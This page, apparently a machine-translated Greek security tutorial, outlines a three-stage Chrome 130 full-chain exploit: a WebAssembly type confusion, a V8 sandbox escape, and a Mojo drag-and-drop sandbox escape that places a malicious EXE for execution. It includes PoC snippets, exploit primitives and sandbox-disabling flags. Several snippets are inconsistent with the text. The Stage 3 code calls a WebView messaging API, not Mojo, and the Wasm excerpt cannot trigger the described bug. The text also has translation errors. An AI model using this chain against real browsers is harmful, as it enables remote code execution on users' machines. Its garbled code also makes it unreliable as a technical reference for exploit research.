Chrome Exploiting

Reading time: 6 minutes

Αυτή η σελίδα παρέχει μια υψηλού επιπέδου αλλά πρακτική επισκόπηση μιας σύγχρονης ροής εκμετάλλευσης "full-chain" κατά του Google Chrome 130, βασισμένη στη σειρά ερευνών “101 Chrome Exploitation” (Μέρος-0 — Πρόλογος). Ο στόχος είναι να δοθεί στους pentesters και στους προγραμματιστές εκμεταλλεύσεων το ελάχιστο υπόβαθρο που απαιτείται για να αναπαράγουν ή να προσαρμόσουν τις τεχνικές για τη δική τους έρευνα.

1. Chrome Architecture Recap

Η κατανόηση της επιφάνειας επίθεσης απαιτεί να γνωρίζουμε πού εκτελείται ο κώδικας και ποιες sandbox εφαρμόζονται.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8 sandbox (Isolate): οι άδειες μνήμης περιορίζονται για να αποτραπεί η αυθαίρετη ανάγνωση/εγγραφή από JITed JS / Wasm.
• Renderer ↔ Browser split διασφαλίζεται μέσω Mojo/IPC μεταφοράς μηνυμάτων; ο renderer έχει κανέναν εγγενή FS/δικτύου πρόσβαση.
• OS sandboxes περιορίζουν περαιτέρω κάθε διαδικασία (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

Ένας απομακρυσμένος επιτιθέμενος χρειάζεται τρεις διαδοχικές πρωτογενείς:

1. Διαφθορά μνήμης μέσα στο V8 για να αποκτήσει αυθαίρετη RW μέσα στο σωρό V8.
2. Ένα δεύτερο σφάλμα που επιτρέπει στον επιτιθέμενο να ξεφύγει από το V8 sandbox σε πλήρη μνήμη renderer.
3. Μια τελική διαφυγή από το sandbox (συχνά λογική παρά διαφθορά μνήμης) για να εκτελέσει κώδικα έξω από το Chrome OS sandbox.

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Ένα σφάλμα στην Turboshaft βελτιστοποίηση του TurboFan κατηγοριοποιεί λανθασμένα τους WasmGC reference types όταν η τιμή παράγεται και καταναλώνεται μέσα σε ένα μοναδικό βασικό μπλοκ βρόχου.

Effect:

• Ο μεταγλωττιστής παραλείπει τον έλεγχο τύπου, αντιμετωπίζοντας μια αναφορά (externref/anyref) ως int64.
• Δημιουργημένο Wasm επιτρέπει την επικάλυψη μιας κεφαλίδας JS αντικειμένου με δεδομένα που ελέγχονται από τον επιτιθέμενο → addrOf() & fakeObj() AAW / AAR primitives.

Minimal PoC (excerpt):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Βελτιστοποίηση ενεργοποίησης & ψεκασμός αντικειμένων από JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: αρbitrary read/write within V8.

3. Stage 2 – Διαφυγή από το V8 Sandbox (issue 379140430)

Όταν μια λειτουργία Wasm είναι tier-up-compiled, δημιουργείται ένα JS ↔ Wasm wrapper. Ένα σφάλμα ασυμβατότητας υπογραφής προκαλεί το wrapper να γράφει πέρα από το τέλος ενός αξιόπιστου Tuple2 αντικειμένου όταν η λειτουργία Wasm είναι ξανά βελτιστοποιημένη ενώ είναι ακόμα στη στοίβα.

Η επαναγραφή των 2 × 64-bit πεδίων του αντικειμένου Tuple2 αποφέρει read/write σε οποιαδήποτε διεύθυνση μέσα στη διαδικασία Renderer, παρακάμπτοντας αποτελεσματικά το V8 sandbox.

Βασικά βήματα στην εκμετάλλευση:

1. Φέρτε τη λειτουργία σε κατάσταση Tier-Up εναλλάσσοντας κώδικα turbofan/baseline.
2. Προκαλέστε tier-up διατηρώντας μια αναφορά στη στοίβα (Function.prototype.apply).
3. Χρησιμοποιήστε Stage-1 AAR/AAW για να βρείτε και να διαφθείρετε το γειτονικό Tuple2.

Αναγνώριση wrapper:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Μετά από διαφθορά, διαθέτουμε μια πλήρως λειτουργική primitive R/W renderer.

4. Στάδιο 3 – Απόδραση από το Sandbox του OS μέσω Renderer (CVE-2024-11114)

Η διεπαφή IPC Mojo blink.mojom.DragService.startDragging() μπορεί να κληθεί από τον Renderer με μερικώς αξιόπιστες παραμέτρους. Δημιουργώντας μια δομή DragData που δείχνει σε μια τυχαία διαδρομή αρχείου, ο renderer πείθει τον περιηγητή να εκτελέσει μια εγγενή λειτουργία drag-and-drop εκτός του sandbox του renderer.

Καταχρώντας αυτό, μπορούμε προγραμματισμένα να “σύρουμε” ένα κακόβουλο EXE (που έχει προηγουμένως τοποθετηθεί σε μια τοποθεσία που μπορεί να γραφτεί από τον κόσμο) στην Επιφάνεια Εργασίας, όπου τα Windows εκτελούν αυτόματα ορισμένους τύπους αρχείων μόλις απορριφθούν.

Παράδειγμα (απλοποιημένο):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Δεν απαιτείται επιπλέον διαφθορά μνήμης – η λογική αστοχία μας δίνει εκτέλεση αρχείων κατά βούληση με τα δικαιώματα του χρήστη.

5. Ροή Πλήρους Αλυσίδας

1. Ο χρήστης επισκέπτεται κακόβουλη ιστοσελίδα.
2. Στάδιο 1: Το module Wasm εκμεταλλεύεται το CVE-2025-0291 → V8 heap AAR/AAW.
3. Στάδιο 2: Η ασυμφωνία wrapper διαφθείρει το Tuple2 → διαφυγή από το V8 sandbox.
4. Στάδιο 3: startDragging() IPC → διαφυγή από το OS sandbox & εκτέλεση payload.

Αποτέλεσμα: Remote Code Execution (RCE) στον host (Chrome 130, Windows/Linux/macOS).

6. Ρύθμιση Εργαστηρίου & Αποσφαλμάτωσης

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Χρήσιμες σημαίες κατά την εκκίνηση μιας development έκδοσης του Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Συμπεράσματα

• WebAssembly JIT σφάλματα παραμένουν μια αξιόπιστη είσοδος – το σύστημα τύπων είναι ακόμα νέο.
• Η απόκτηση ενός δεύτερου σφάλματος διαφθοράς μνήμης μέσα στο V8 (π.χ. ασυμφωνία περιτυλίγματος) απλοποιεί σημαντικά την διαφυγή από το V8-sandbox.
• Αδυναμίες σε λογικό επίπεδο στις προνομιακές διεπαφές Mojo IPC είναι συχνά αρκετές για μια τελική διαφυγή από το sandbox – προσέξτε τα μη-μνημονιακά σφάλματα.

Αναφορές

• 101 Chrome Exploitation — Part 0 (Πρόλογος)
• Αρχιτεκτονική ασφάλειας Chromium